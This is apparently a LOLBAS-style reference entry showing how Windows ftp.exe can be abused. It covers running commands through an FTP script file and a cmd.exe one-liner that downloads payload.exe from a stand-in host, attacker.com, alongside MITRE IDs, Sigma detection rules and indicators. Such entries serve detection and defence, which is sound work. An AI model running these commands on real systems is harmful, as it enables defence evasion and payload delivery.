Ftp.exe

Executes the commands you put inside the text file.

Use Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand

echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt

Context

user

Native

Execute

MITRE

T1202

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml

IOC: cmd /c as child process of ftp.exe

Refs

twitter.com/0xAmit/status/1070063130636640256

medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939

ss64.com/nt/ftp.html

www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/

lolbas-project.github.io/lolbas/Binaries/Ftp/

Download

Use Spawn new process using ftp.exe. Ftp.exe downloads the binary.

cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml

IOC: cmd /c as child process of ftp.exe

Refs

twitter.com/0xAmit/status/1070063130636640256

medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939

ss64.com/nt/ftp.html

www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/

lolbas-project.github.io/lolbas/Binaries/Ftp/